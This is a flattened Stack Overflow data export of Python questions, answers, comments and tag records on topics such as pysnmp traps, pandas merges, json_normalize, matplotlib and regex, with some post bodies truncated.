has comment: http://stackoverflow.com/comment/81623656
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47346579
has answer: http://stackoverflow.com/a/47346579
tagged with: pysnmp
has title: How to properly get table-row indexes and named values from trapped var-binds in pysnmp
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81607658
has body: I'm trying to keep my code as clean as possible but I'm not completely satisfied with what I achieved so far. I built a SNMP manager which receive traps from another device using a custom MIB, which I will refer to as MY-MIB. I am not sure this is the cleanest way, but essentially I have: from pysnmp.entity import engine, config from pysnmp.carrier.asynsock.dgram import udp from pysnmp.entity.rfc3413 import ntfrcv, context from pysnmp.smi import builder, rfc1902 from pysnmp.smi.view import MibViewController from pysnmp.entity.rfc3413 import mibvar _snmp_engine = engine.SnmpEngine() _snmpContext = context.SnmpContext(_snmpEngine) _mibBuilder = _snmpContext.getMibInstrum().getMibBuilder() #Add local path where MY-MIB is located _mibSources = _mibBuilder.getMibSources() + (builder.DirMibSource('.'),) _mibBuilder.setMibSources(*mibSources) _mibBuilder.loadModules('MY-MIB') _view_controller = MibViewController(_mibBuilder) def my_callback_trap_processor(snmp_engine, state_reference, context_id, context_name, var_binds, ctx): #...CALLBACK CODE... config.addV1System(snmp_engine, 'my-area', 'MYCOMMUNITY') config.addTargetParams(snmp_engine, 'my-creds', 'my-area', 'noAuthNoPriv', 1) config.addSocketTransport(snmp_engine, udp.domainName + (1,), udp.UdpTransport().openServerMode((IP_ADDRESS, PORT))) ntfrcv.NotificationReceiver(snmp_engine, my_callback_trap_processor) snmp_engine.transportDispatcher.jobStarted(1) try: snmp_engine.transportDispatcher.runDispatcher() except: snmp_engine.transportDispatcher.closeDispatcher() raise In the callback function above I can get a pretty intelligible print by just using the following code: varBinds = [rfc1902.ObjectType(rfc1902.ObjectIdentity(x[0]), x[1]).resolveWithMib(_view_controller) for x in var_binds] for varBind in varBinds: print(varBind.prettyPrint()) which, from a given trap that I receive, gives me: SNMPv2-MIB::sysUpTime.0 = 0 SNMPv2-MIB::snmpTrapOID.0 = MY-MIB::myNotificationType MY-MIB::myReplyKey.47746."ABC" = 0x000000000000…
type: Question

http://stackoverflow.com/comment/81696739
comment on: http://stackoverflow.com/q/47372003
has text: Give us a measure of dataset sizes involved, i.e. `n` here?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47358985
has title: Complex Dataframe Merge Python Pandas
has body: I am trying to merge 2 dataframes and can't quite get what I'm looking for. Dataframe 1 looks like this. Index Date Data1 Data2 A 2007-07-21 76 32 A 2007-08-13 nan 23 B 2007-06-15 53 nan B 2007-07-15 87 39 Dataframe 2 looks like this: Index Date Data3 Data4 A 2007-07-24 14 nan A 2007-08-13 67 51 B 2007-06-21 32 36 B 2007-07-15 nan 91 The same indicies are in both dataframes. The index labels contain duplicates. There is some overlap in the dates but each dataframe also contains unique dates. What I'd like in my result is the following: rows with the same Index and Date appear ONCE in the result with combined values (Data1, Data2, Data3, Data4). If an Index/Date combination appears once in either the left dataframe or right dataframe, that combination appears along with the relevant data from respective data frame and nans in columns from the dataframe where values don't exist. From the above dataframes the result would look like this: Index Date Data1 Data2 Data3 Data4 A 2007-07-21 76 32 nan nan A 2007-07-24 nan nan 14 nan A 2007-08-13 nan 23 67 51 B 2007-06-15 53 nan nan nan B 2007-06-21 nan nan 32 36 B 2007-07-15 87 39 nan 91 This exercise has aspects of a left join but also an outer join. Not sure how to get this using pd.merge or pd.concat. Thank in advance for insight.
tagged with: pandas
tagged with: python
tagged with: merge
has answer: http://stackoverflow.com/a/47359023
type: Question
score: 0
tagged with: concatenation
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/q/47373471
has body: Hi guys i am trying to solve this and i don't really know what to do. I scraped this website https://www.financialjuice.com/home and saved it to my database and it did worked successfully. But the issue i have is if a scraped item is clicked on my app, it firsts gets to financial juice first before going to the main source of the news That is on financial juice they might have a new they got from BBC and my scrapy takes in that item, once you click on the url, it firsts gets to financial juice first before going to BBC What do you think i can do please your suggestion is welcomed.
tagged with: web-scraping
tagged with: python
has title: How to Get a redirected URL
answer count: 1
has comment: http://stackoverflow.com/comment/81699808
tagged with: web
has answer: http://stackoverflow.com/a/47373743
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81699721
upvote count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/43708882
score: -2
has comment: http://stackoverflow.com/comment/81699699
downvote count: 2

http://stackoverflow.com/comment/81408192
type: AnswerComment
has text: can't I do it without using opencv?
comment on: http://stackoverflow.com/a/47228628
type: Comment
score: 0

http://stackoverflow.com/comment/81487916
has text: @PM2Ring that was a joke / reference to the post in portugese/espanol from the other day. But if you improve your answer with that then ok!
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47264457

http://stackoverflow.com/comment/116338175
type: AnswerComment
comment on: http://stackoverflow.com/a/61782625
score: 0
has text: I used this piece of code and my train behavior didn't change at all. I had to pass an empty list to the boxes keys so it could actually be used on training as a negative sample (image without annotations). Using faster_rcnn_resnet101_coco.config.
type: Comment

http://stackoverflow.com/comment/81709932
has text: Just use `os.listdir` (or `glob.glob` or `pathlib` etc...) to find your images in your static directory and then make sure you render them with a valid href in your template...
score: 0
comment on: http://stackoverflow.com/q/47378820
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81521455
type: Comment
has text: Your value is a tuple.. so your calculation is actually 1/ ( 1+(2,3) ) which is not well defined.
score: 0
comment on: http://stackoverflow.com/q/47285774
type: QuestionComment

http://stackoverflow.com/a/47366883
score: 1
accepted answer of: http://stackoverflow.com/q/47366712
type: Answer
answers question: http://stackoverflow.com/q/47366712
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: I'll look only at the SI model. Your two key variables are S and I. (You may have reversed the meanings of these two variables, though that does not affect what I write here.) You initialize them so their sum is N which is the constant 1000000. You update your two key variables in the lines S = S - beta * ((S * I / N)) I = I + beta * ((S * I) / N) You apparently intend to add to I and subtract from S the same value, so the sum of S and I is unchanged. However, you actually first change S then use that new value to change I, so the values added and subtracted are not actually the same, and the sum of the variables has not remained constant. You can fix this by using Python's ability to update multiple variables in one line. Replace those two lines with S, I = S - beta * ((S * I / N)), I + beta * ((S * I) / N) This calculates both of the new values before updating the variables, so the same value actually added and subtracted from the two variables. (There are other ways to get the same effect, such as temporary variables for the updated values, or one temporary variable to store the amount to add and subtract, but since you use Python you may as well use its capabilities.) When I now run the program, I get these graphs: which I think is what you want.

http://stackoverflow.com/q/47368904
has answer: http://stackoverflow.com/a/47371463
favorite count: 0
has title: control python code to run on different core
tagged with: multiprocessing
type: Question
upvote count: 2
type: UnansweredQuestion
tagged with: multithreading
has body: I have ubuntu OS on my machine that has 4 cores. Also, I have a python script called python.py that has different functions such as def1, def2, and def 3. I would like to run def1 on core 1 , and the rest on core 2 to 4. I know that I can use: #taskset -c 1 python.py The problem with this makes the whole script run on one core for each function inside it. however, I want to run specific function on specific core such as: def add(a,b): return a+b def sub(s, t): return s-t def mult(y,x): return y*x add(3,4) # run this function on core 0 sub(3,4) # run this function on core 1 mult(2,3) # I don't core run on core 2 or 3 My question is: Is This Possible?
tagged with: python
has comment: http://stackoverflow.com/comment/81697931
score: 2
answer count: 1
downvote count: 0

http://stackoverflow.com/q/47291132
has title: Masking a pandas dataframe object
type: Question
has body: I am trying to run the following code but I am getting the error message like "TypeError: The numpy boolean negative, the - operator, is not supported, use the ~ operator or the logical_not function instead." I am getting the error when the line np_mask = A_df_masked.notnull() is runned. How can I fix this issue? Thanks in advance. A_orig = np.array([[3, 4, 5, 2], [4, 4, 3, 3], [5, 5, 4, 4]], dtype=np.float32).T A_orig_df = pd.DataFrame(A_orig) #masking some of the entries A_df_masked = A_orig_df.copy() A_df_masked.iloc[0,0]=np.NAN np_mask = A_df_masked.notnull() The desired output of np_mask will be: 0 1 2 0 False True True 1 True True True 2 True True True 3 True True True
has comment: http://stackoverflow.com/comment/81533199
tagged with: python
has comment: http://stackoverflow.com/comment/81533075
has comment: http://stackoverflow.com/comment/81533348
has comment: http://stackoverflow.com/comment/81536901
tagged with: pandas
type: AnsweredQuestion
score: 0
tagged with: arrays
has answer: http://stackoverflow.com/a/47291568
accepted answer: http://stackoverflow.com/a/47291568
answer count: 1
tagged with: nan
tagged with: numpy

http://stackoverflow.com/a/47331016
has comment: http://stackoverflow.com/comment/81614945
answers question: http://stackoverflow.com/q/47330845
score: 0
has body: Try the following code: driver.switch_to.frame(driver.find_element_by_name("f3"))
has comment: http://stackoverflow.com/comment/81613758
has comment: http://stackoverflow.com/comment/81613366
type: Answer

http://stackoverflow.com/a/47331291
has body: Yes. Define the variables dict once, and then update it in a single if-block if you need to. def check_view(request): variables = {'variablea': a, 'variableb': b, 'variablec': d} if user.is_authenticated: variables['variablec'] = c return render(request, 'user-template.html', variables)
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47331214
score: 1
downvote count: 0

http://stackoverflow.com/q/47330326
score: 1
has title: convert plot to RGB array
tagged with: matplotlib
tagged with: python
tagged with: rgb
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81612805
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: I want to convert a plot generated with matplotlib to an rgb array. In my case, I want to draw two circles using matplotlib. Currently, there are two problems: You can still see the space taken by the axes The circles aren't circles anymore in the resulting rgb array Here is the code so far: import matplotlib.pyplot as plt from matplotlib.patches import Circle from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas from matplotlib.figure import Figure import numpy as np Generate the plot: def drawImage(color, posx, posy, radius): posx_left, posx_right = posx posy_left, posy_right = posy radius_left, radius_right = radius fig = Figure() canvas = FigureCanvas(fig) ax = fig.gca() ax.axis('off') ax.set_axis_off() ax = fig.add_subplot(1, 1, 1) circle_left = plt.Circle((posx_left, posy_left), radius=radius_left,color=color) ax.add_patch(circle_left) circle_right = plt.Circle((posx_right, posy_right), radius=radius_right,color=color) ax.add_patch(circle_right) fig.tight_layout(pad=0) fig.canvas.draw() width, height = fig.get_size_inches() * fig.get_dpi() img = np.fromstring(fig.canvas.tostring_rgb(), dtype='uint8').reshape(int(height), int(width), 3) return img Generate plot and save as array: color = "blue" radius = 0.2, 0.12 posx = 0.0,0.8 posy = 0.3,0.7 img = drawImage(color,posx,posy,radius) plt.imshow(img)
has comment: http://stackoverflow.com/comment/81646931

http://stackoverflow.com/q/47285960
answer count: 2
upvote count: 1
downvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/41269297
favorite count: 0
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47307597
possible better answer: http://stackoverflow.com/a/47307597
linked to: http://stackoverflow.com/q/22444
has title: python regex- positive lookahead
tagged with: regex
has answer: http://stackoverflow.com/a/47285998
accepted answer: http://stackoverflow.com/a/47285998
has body: str='filename=1817616353&amp;realname=Arguments%20for%20&amp;%20against%20protection%20.pdf&amp;code2=pds' ptn='(?&lt;=realname=).+(?=&amp;)' re.search(ptn,str).group() well, when i run this code i'm expecting to get 'Arguments%20for%20' as the match, but instead it gives me 'Arguments%20for%20&amp;%20against%20protection%20.pdf' i thought the match should occur at the first occurrence of '&amp;', which is right after 'for%20' part, so i have no idea why it's going all the way down to 'pdf'. what am i doing wrong?
type: Question

http://stackoverflow.com/comment/81520449
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47285154
has text: If you don't have any important data in the database, just delete the file with the database (something like `db.sqlite3`) and start over.

http://stackoverflow.com/comment/81664697
type: QuestionComment
has text: @melpomene - My tests go crazy, I'm getting a completely different behaviour.
comment on: http://stackoverflow.com/q/47356073
score: 0
type: Comment

http://stackoverflow.com/q/47242845
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47242896
has answer: http://stackoverflow.com/a/54423238
answer count: 3
tagged with: pandas
possible better answer: http://stackoverflow.com/a/54423238
tagged with: http://stackoverflow.com/tag/json
has body: I have been trying to normalize a very nested json file I will later analyze. What I am struggling with is how to go more than one level deep to normalize. I went through the pandas.io.json.json_normalize documentation, since it does exactly what I want it to do. I have been able to normalize part of it and now understand how dictionaries work, but I am still not there. With below code I am able to get only the first level. import json import pandas as pd from pandas.io.json import json_normalize with open('authors_sample.json') as f: d = json.load(f) raw = json_normalize(d['hits']['hits']) authors = json_normalize(data=d['hits']['hits'], record_path='_source', meta=['_id', ['_source', 'journal'], ['_source', 'title'], ['_source', 'normalized_venue_name'] ]) I am trying to 'dig' into the 'authors' dictionary with below code, but the record_path = ['_source', 'authors'] throws me TypeError: string indices must be integers. As far as I understand json_normalize the logic should be good, but I still don't quite understand how to dive into a json with dict vs list. I even went through this simple example. authors = json_normalize(data=d['hits']['hits'], record_path=['_source', 'authors'], meta=['_id', ['_source', 'journal'], ['_source', 'title'], ['_source', 'normalized_venue_name'] ]) Below is a chunk of the json file (5 records). {u'_shards': {u'failed': 0, u'successful': 5, u'total': 5}, u'hits': {u'hits': [{u'_id': u'7CB3F2AD', u'_index': u'scibase_listings', u'_score': 1.0, u'_source': {u'authors': None, u'deleted': 0, u'description': None, u'doi': u'', u'is_valid': 1, u'issue': None, u'journal': u'Physical Review Letters', u'link': None, u'meta_description': None, u'meta_keywords': None, u'normalized_venue_name': u'phys rev lett', u'pages': None, u'parent_keywords': [u'Chromatography', u'Quantum mechanics', u'Particle physics', u'Quantum field theory', u'Analytical chemistry', u'Quantum chromodynamics', u'Physics', u'Mass spectrometry', u'Chemistry'], u'pub_date':…
downvote count: 0
upvote count: 55
has comment: http://stackoverflow.com/comment/139572324
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: json-normalize
has answer: http://stackoverflow.com/a/47242896
has title: pandas json_normalize with very nested json
score: 55
has answer: http://stackoverflow.com/a/74954892
has comment: http://stackoverflow.com/comment/132091641
tagged with: python

http://stackoverflow.com/q/47293969
answer count: 3
has answer: http://stackoverflow.com/a/47294005
has comment: http://stackoverflow.com/comment/81538809
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47294041
has title: I'm in a beginner's Python course, and my assignment is to print variable 'N' backwards using a 'while' statement
has body: Here are my instructions: We will pass you a value, N. You should output every positive value from N down to and including 0. And here is my assignment: # Get N from the command line import sys N = int(sys.argv[1]) # Your code goes here counter = 0 while counter &lt;= N: print(counter-N) counter = counter + 1 My solution prints this: Program Output Program Failed for Input: 3 Expected Output: 3 2 1 0 Your Program Output: -3 -2 -1 0 As you can see, I got the output to show -3, -2, -1, 0, but it should be 3, 2, 1, 0. Please be mindful that I am a beginner, and my code must pass using a 'while' statement, and my code must be inputted in Codio. Thank you in advance for any assistance rendered.
tagged with: python
has answer: http://stackoverflow.com/a/47294016
tagged with: codio

http://stackoverflow.com/comment/81623471
comment on: http://stackoverflow.com/q/47335928
type: Comment
has text: You did not define any of these values in your if-block: 10 11 17 40.
score: 0
type: QuestionComment

http://stackoverflow.com/q/47329994
has title: Remove duplicate rows in mysqldb in a specific way
has answer: http://stackoverflow.com/a/47330090
tagged with: mysql-python
answer count: 1
tagged with: mysql
has body: I want to delete the duplicate rows in my mysqldb table, where 4 columns value is the same. How can i do it if I have got an auto_increment column too? ALTER IGNORE TABLE test ADD UNIQUE INDEX idx_name (col1, col2, col3, col4); How can i implement this part of code to do this in Python? connection = MySQLdb.connect(host='localhost', user='admin', passwd='', db='database1', use_unicode=True, charset="utf8") cursor = connection.cursor()
type: Question
type: UnansweredQuestion
tagged with: duplicates
tagged with: python
score: 0

http://stackoverflow.com/a/47345305
score: 0
has comment: http://stackoverflow.com/comment/81642626
accepted answer of: http://stackoverflow.com/q/47344644
has body: class OrderCreateSerializer(ModelSerializer): data_params = DictField(child=serializers.CharField()) . . . def create(self, validated_data): print(validated_data) data_dic = validated_data.pop("data_params") print(data_dic) return super(OrderCreateSerializer, self).create(validated_data) class OrderSerializer(ModelSerializer): class Meta: model = Order fields = '__all__' # by @Vasil Shtiliyanov if you want return data_parms after create def to_representation(self, instance): serialized_data = super(OrderSerializer, self).to_representation(instance) serialized_data['data-params'] = #logic goes here return serialized_data class OrderSerializerCreateAPIView(CreateAPIView): """ create Order """ serializer_class = OrderCreateSerializer permission_classes = [] queryset = Order.objects.all() def create(self, request, *args, **kwargs): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) instance = self.perform_create(serializer) data = OrderSerializer(instance).data headers = self.get_success_headers(data ) return Response(data , status=status.HTTP_201_CREATED, headers=headers) def perform_create(self, serializer): return serializer.save()
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47344644
type: Answer

http://stackoverflow.com/a/47261449
downvote count: 1
upvote count: 15
answers question: http://stackoverflow.com/q/47260999
has comment: http://stackoverflow.com/comment/81473753
has comment: http://stackoverflow.com/comment/81474264
has comment: http://stackoverflow.com/comment/81474135
has body: You can use lit or typedLit as a parameter for your udf like this: In Python: from pyspark.sql.functions import udf, col, lit mult = udf(lambda value, multiplier: value * multiplier) df = spark.sparkContext.parallelize([(1,),(2,),(3,)]).toDF() df.select(mult(col("_1"), lit(3))) In Scala: import org.apache.spark.sql.functions.{udf, col, lit} val mult = udf((value: Double, multiplier: Double) =&gt; value * multiplier) val df = sparkContext.parallelize((1 to 10)).toDF df.select(mult(col("value"), lit(3)))
type: Answer
score: 14
has comment: http://stackoverflow.com/comment/81474127
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47260999
has comment: http://stackoverflow.com/comment/81474662
has comment: http://stackoverflow.com/comment/81474038

http://stackoverflow.com/comment/81622920
has text: When you explicitly put parentheses around it, you see the order in which you think the operators are evaluated. Without them you still think they are evaluated left to right, but they are not. Take a look here https://docs.python.org/2/reference/expressions.html#operator-precedence
type: Comment
comment on: http://stackoverflow.com/q/47335641
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81457233
score: 0
type: Comment
type: QuestionComment
has text: Agree; you could declare `write_msg()` and other stuff in a separate module, leaving only the `handle()` call in `Launcher` module.
comment on: http://stackoverflow.com/q/47253344

http://stackoverflow.com/comment/81505435
type: QuestionComment
has text: Basically the client side is 'telnet' and the server side is 'python', so when python sends "raw_input" back to telnet, telnet doesn't know what to do with it. That's what I think is going on. Normally telnet-client talking to telnet-server is an interactive experience, but telnet-client talking to python-script probably is not.
type: Comment
comment on: http://stackoverflow.com/q/47244913
score: 0

http://stackoverflow.com/a/47355121
downvote count: 1
answers question: http://stackoverflow.com/q/47354835
has comment: http://stackoverflow.com/comment/81663078
has comment: http://stackoverflow.com/comment/81663232
has comment: http://stackoverflow.com/comment/81663512
has body: By using asongtoruin's data and stack df.set_index('brand').stack().reset_index(name='Total').rename(columns={'level_1':'Date'}) Out[1043]: brand Date Total 0 brand1 Feb-17 333 1 brand1 Jan-17 22 2 brand2 Feb-17 424 3 brand2 Jan-17 232 4 brand3 Feb-17 999 5 brand3 Jan-17 324
type: Answer
has comment: http://stackoverflow.com/comment/81663147
upvote count: 2
has comment: http://stackoverflow.com/comment/81663363
score: 1

http://stackoverflow.com/q/47368326
tagged with: python
has title: Delete element in list
has answer: http://stackoverflow.com/a/47368381
has comment: http://stackoverflow.com/comment/81689012
type: Question
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47368338
linked to: http://stackoverflow.com/q/4211209
has answer: http://stackoverflow.com/a/47368338
favorite count: 0
upvote count: 4
has answer: http://stackoverflow.com/a/47368371
answer count: 4
has body: I have a master list which regroups every ID I have. master = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] Among all of these ID, I want to exclude some of them. So I did a second list of ID which have to be exclude exclude = [1, 4, 5] In your opinion, what is the good operation to make for having : master_exclude = [2, 3, 6, 7, 8, 9, 10] If you know what I mean ? Thank you !
possible better answer: http://stackoverflow.com/a/47368377
duplicate of: http://stackoverflow.com/q/4211209
downvote count: 2
has comment: http://stackoverflow.com/comment/81689258
has answer: http://stackoverflow.com/a/47368377

http://stackoverflow.com/comment/81693687
comment on: http://stackoverflow.com/q/47369004
score: 0
has text: I think I have fixed that problem, now if I want to load an image I simply use `pygame.image.load('name')` inside `sprites` `init` and then I blit it using `self.image.blit(screen, [coords])` is that right?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47369445
has comment: http://stackoverflow.com/comment/81692938
possible better answer: http://stackoverflow.com/a/47369995
has title: Web scrape not returning full html
linked to: http://stackoverflow.com/q/47351045
favorite count: 0
tagged with: beautifulsoup
type: Question
has answer: http://stackoverflow.com/a/47369995
answer count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/47370764
type: AnsweredQuestion
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81693180
downvote count: 1
has body: I am attempting to scrape 'https://www.kaggle.com/kernels' in order to return all of the title names on the site, but I am running into an issue where the container for this detail 'div data-reactroot' is not being pulled into the scraped data. import urllib from bs4 import BeautifulSoup kaggle = 'https://www.kaggle.com/kernels' data = urllib.request.urlopen(kaggle).read() htmlparse = BeautifulSoup(data, 'html.parser') print(htmlparse.findAll("div", {"class" : "block-link block-link--bordered"})) Is there an error in my code or is there some sort of block on the site preventing me from scraping this data?
has answer: http://stackoverflow.com/a/47370764
tagged with: web-scraping

virtualenv
tags question: http://stackoverflow.com/q/47224140
tags question: http://stackoverflow.com/q/47274438
tags question: http://stackoverflow.com/q/47278298
tag name: virtualenv
tags question: http://stackoverflow.com/q/47356726
tags question: http://stackoverflow.com/q/47322937
tags question: http://stackoverflow.com/q/47236494
tags question: http://stackoverflow.com/q/47311847
tags question: http://stackoverflow.com/q/47294134
tags question: http://stackoverflow.com/q/47359559
tags question: http://stackoverflow.com/q/47272966
tags question: http://stackoverflow.com/q/47254311
tags question: http://stackoverflow.com/q/47325949
type: Tag
tags question: http://stackoverflow.com/q/47305899
tags question: http://stackoverflow.com/q/47238969
tags question: http://stackoverflow.com/q/47317408
tags question: http://stackoverflow.com/q/47332874
tags question: http://stackoverflow.com/q/47370367
tags question: http://stackoverflow.com/q/47342144

http://stackoverflow.com/a/47242304
type: Answer
answers question: http://stackoverflow.com/q/47240809
has comment: http://stackoverflow.com/comment/81435760
has comment: http://stackoverflow.com/comment/81436259
downvote count: 0
has comment: http://stackoverflow.com/comment/81436051
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81438044
has comment: http://stackoverflow.com/comment/81444709
has comment: http://stackoverflow.com/comment/81436165
accepted answer of: http://stackoverflow.com/q/47240809
has comment: http://stackoverflow.com/comment/81436116
has body: You can add a list of counts in each string to your function, def function(s,lst): l=[] counts = [] for i in range(len(lst)): if s in lst[i]: counts += [lst[i].count(s)] l += [i] return l, counts Here counts is a list in which each entry is the count of occurrences of s in the string in your input list. The function now returns two lists in a tuple, for example with the first tuple element being l and the second being counts. Note that i=-1 is redundant here as i is an element of the iterable made with range and assigning a value to it before the loop doesn't change it's loop value. You can now sort the first list based on the second list using a line modified from this post, out_fun = function(s,inp) out = [x for x,_ in sorted(zip(out_fun[0],out_fun[1]), key = lambda x: x[1], reverse=True)] inp is the list of strings, for example inp = ["hello", "cure", "access code"]. out_fun is the return tuple of two lists from the function function. s is the string of interest - here as in your original example it is 'c'. What this line does is that it first creates a list of tuples using zip, where each first element of the tuple is is element from the list of indices and the second is from the list of occurrences. The program then sorts the tuples based on the second element in reverse order (largest first). The list comprehension fetches only the first element from each tuple in the sorted result, which is again the index list. If you have questions about this solution, feel free to ask. You have a Python 2.7 tag - in Python 3.X you would need to use list(zip()) as zip returns a zip object rather than a list. This is a more concise version of your program: def function(s,lst): t = [(i,x.count(s)) for i,x in enumerate(lst) if s in x] return t It uses a list comprehension to create and return a list of tuples t with first element being the index of the string that has the character s and second being the count. This is not necessarily more efficient, that would need to be chec…

http://stackoverflow.com/a/49940570
type: Answer
has comment: http://stackoverflow.com/comment/91337102
has body: Below another alternative using pandas. Transitions list can be replaced with 'rain','clouds' etc. import pandas as pd transitions = ['A', 'B', 'B', 'C', 'B', 'A', 'D', 'D', 'A', 'B', 'A', 'D'] * 2 df = pd.DataFrame(columns = ['state', 'next_state']) for i, val in enumerate(transitions[:-1]): # We don't care about last state df_stg = pd.DataFrame(index=[0]) df_stg['state'], df_stg['next_state'] = transitions[i], transitions[i+1] df = pd.concat([df, df_stg], axis = 0) cross_tab = pd.crosstab(df['state'], df['next_state']) cross_tab.div(cross_tab.sum(axis=1), axis=0)
score: 0
answers question: http://stackoverflow.com/q/47297585

http://stackoverflow.com/q/47333353
downvote count: 0
favorite count: 0
type: Question
has title: How to control cells table alignment on a plot?
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47349034
score: 4
upvote count: 4
tagged with: matplotlib
has body: I am currently trying to align the cells table with a gaussian using colWidths: But colWidths seems to not work with bbox. Do you have any idea how I can proceed? plt.table(cellText=tableData, rowLabels=rowLabels, colLabels=None,loc='center',colWidths=[0.2]*5, bbox=[0., -0.5,1, 0.3])
answer count: 1

http://stackoverflow.com/q/47353741
type: Question
has comment: http://stackoverflow.com/comment/81659908
has answer: http://stackoverflow.com/a/47353801
has body: I need to stop os.walk from going down further if the path contains both "release" and "arm-linux". I have a bunch of these at different levels of directories. So I can't simply dictate the level. So far I have the following and it unnecessarily dive past directories in 'arm-linux'. def main(argv): for root, dirs, files in os.walk("."): path = root.split(os.sep) if "release" and "arm-linux" in path: print(os.path.abspath(root)) getSharedLib(argv) [update] This is my solution def main(argv): for root, dirs, files in os.walk("."): path = root.split(os.sep) if "release" in path and "arm-linux" in path: print(os.path.abspath(root)) getSharedLib(argv) del dirs[:]
accepted answer: http://stackoverflow.com/a/47353801
tagged with: python
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/81659999
type: AnsweredQuestion
downvote count: 0
answer count: 1
has title: Stop os.walk going down further at a specific directory name
has comment: http://stackoverflow.com/comment/81659996
favorite count: 0

http://stackoverflow.com/q/47335625
has body: I have an array of floats vec which I want to reshape vec.shape &gt;&gt;&gt; (3,) len(vec[0]) # all 3 rows of vec have 150 columns &gt;&gt;&gt; 150 np.reshape(vec, (3,150)) &gt;&gt;&gt; ValueError: cannot reshape array of size 3 into shape (3,150) but I get the error above. What's going wrong? How can I fix this? Thanks!
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/81622852
has comment: http://stackoverflow.com/comment/81623959
has answer: http://stackoverflow.com/a/47336560
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/47336560
answer count: 1
tagged with: arrays
downvote count: 0
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81622794
tagged with: reshape
tagged with: python
has comment: http://stackoverflow.com/comment/81625025
has comment: http://stackoverflow.com/comment/81624170
has comment: http://stackoverflow.com/comment/81623198
has title: Reshape array using numpy - ValueError: cannot reshape array
has comment: http://stackoverflow.com/comment/81624867

http://stackoverflow.com/comment/81680695
type: QuestionComment
has text: BTW: for different events you have different values in `event` - for `MOUSEBUTTONDOWN` and `MOUSEMOTION` you have position in `event.pos` - see more in yellow table on http://pygame.org/docs/ref/event.html
comment on: http://stackoverflow.com/q/47363638
score: 0
type: Comment

http://stackoverflow.com/comment/81702906
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47375157
has text: Which two lines?

http://stackoverflow.com/a/47341248
has comment: http://stackoverflow.com/comment/81634809
score: 0
has body: According to docs: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.html req = requests.get(url=url, auth=(user,password)) out = req.json() results = out['resultList'] df = pd.DataFrame() for record in results: requestId = pd.DataFrame({"requestId": record['requestParameters'][3]}) df = pd.DataFrame(requestId) df['userId'] = record['userId'] df = df.append(df)
answers question: http://stackoverflow.com/q/47341198
type: Answer

http://stackoverflow.com/q/47361901
has answer: http://stackoverflow.com/a/47362308
type: AnsweredQuestion
has body: I have a dictionary: {0: [1, 2, 3, 4, 5, 6, 7, 8, 9], 1: [0, 9, 4, 6, 7], 2: [8, 9, 3, 6, 0], 3: [8, 9, 2, 0], 4: [8, 0, 1, 6, 7], 5: [0, 9], 6: [8, 0, 2, 4, 1], 7: [8, 0, 4, 1], 8: [0, 2, 3, 4, 6, 7], 9: [0, 1, 2, 3, 5]} And then I take an input which references one of the keys: flag = 0 user = input("Enter an integer for a user ID: ") if isinstance(user, float): flag = 1 if user.isdigit() and int(user) &gt;= 0 and int(user) &lt;= (len(network)-1) and flag == 0: return(user) else: while user.isdigit() == False or int(user) &lt; 0 or int(user) &gt; (len(network)-1): user = input("Enter an integer for a user ID: ") So now I need to help to understand to find the values with overlapping keys, for example, if the user chooses 4 the code would output: "For user with ID 4 we recommend the user with ID 2" "That is because users 4 and 2 have 3 common friends and user 4 does not have more common friends with anyone else." Also the users cannot know each other. So even though 4 has more in common with 0, they know each other and therefore do not work. Thanks!
type: Question
has answer: http://stackoverflow.com/a/47362253
score: 0
answer count: 2
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/47362308
has title: How to check which values have overlapping keys in a dictionary?
possible better answer: http://stackoverflow.com/a/47362253

http://stackoverflow.com/a/47381242
answers question: http://stackoverflow.com/q/47380953
type: Answer
score: 4
has body: Your approach is not wrong. SymPy, or other programs, are not about to replace people with some knowledge of mathematics. In this case the nonlinear solvers miss the opportunity to simplify sin(q3)/cos(q3) to tan(q3), thus reducing the number of appearances of q3 to one. If they are pushed to follow a particular strategy - e.g., "solve for v1 from the first, sub into the second, simplify and solve for q3" - the solution comes out without much fuss. v1sol = solve(eq1, v1)[0] q3sol = solve(simplify(eq2.subs(v1, v1sol)), q3)[0] print([v1sol, q3sol]) This outputs [\ddot{q}_1/(b1*sin(q3)*cos(q2)), -atan(\ddot{q}_1*b2/(b1*(-\ddot{q}_2 + a1*sin(q2) + a2*cos(q2))*cos(q2)))]
upvote count: 4
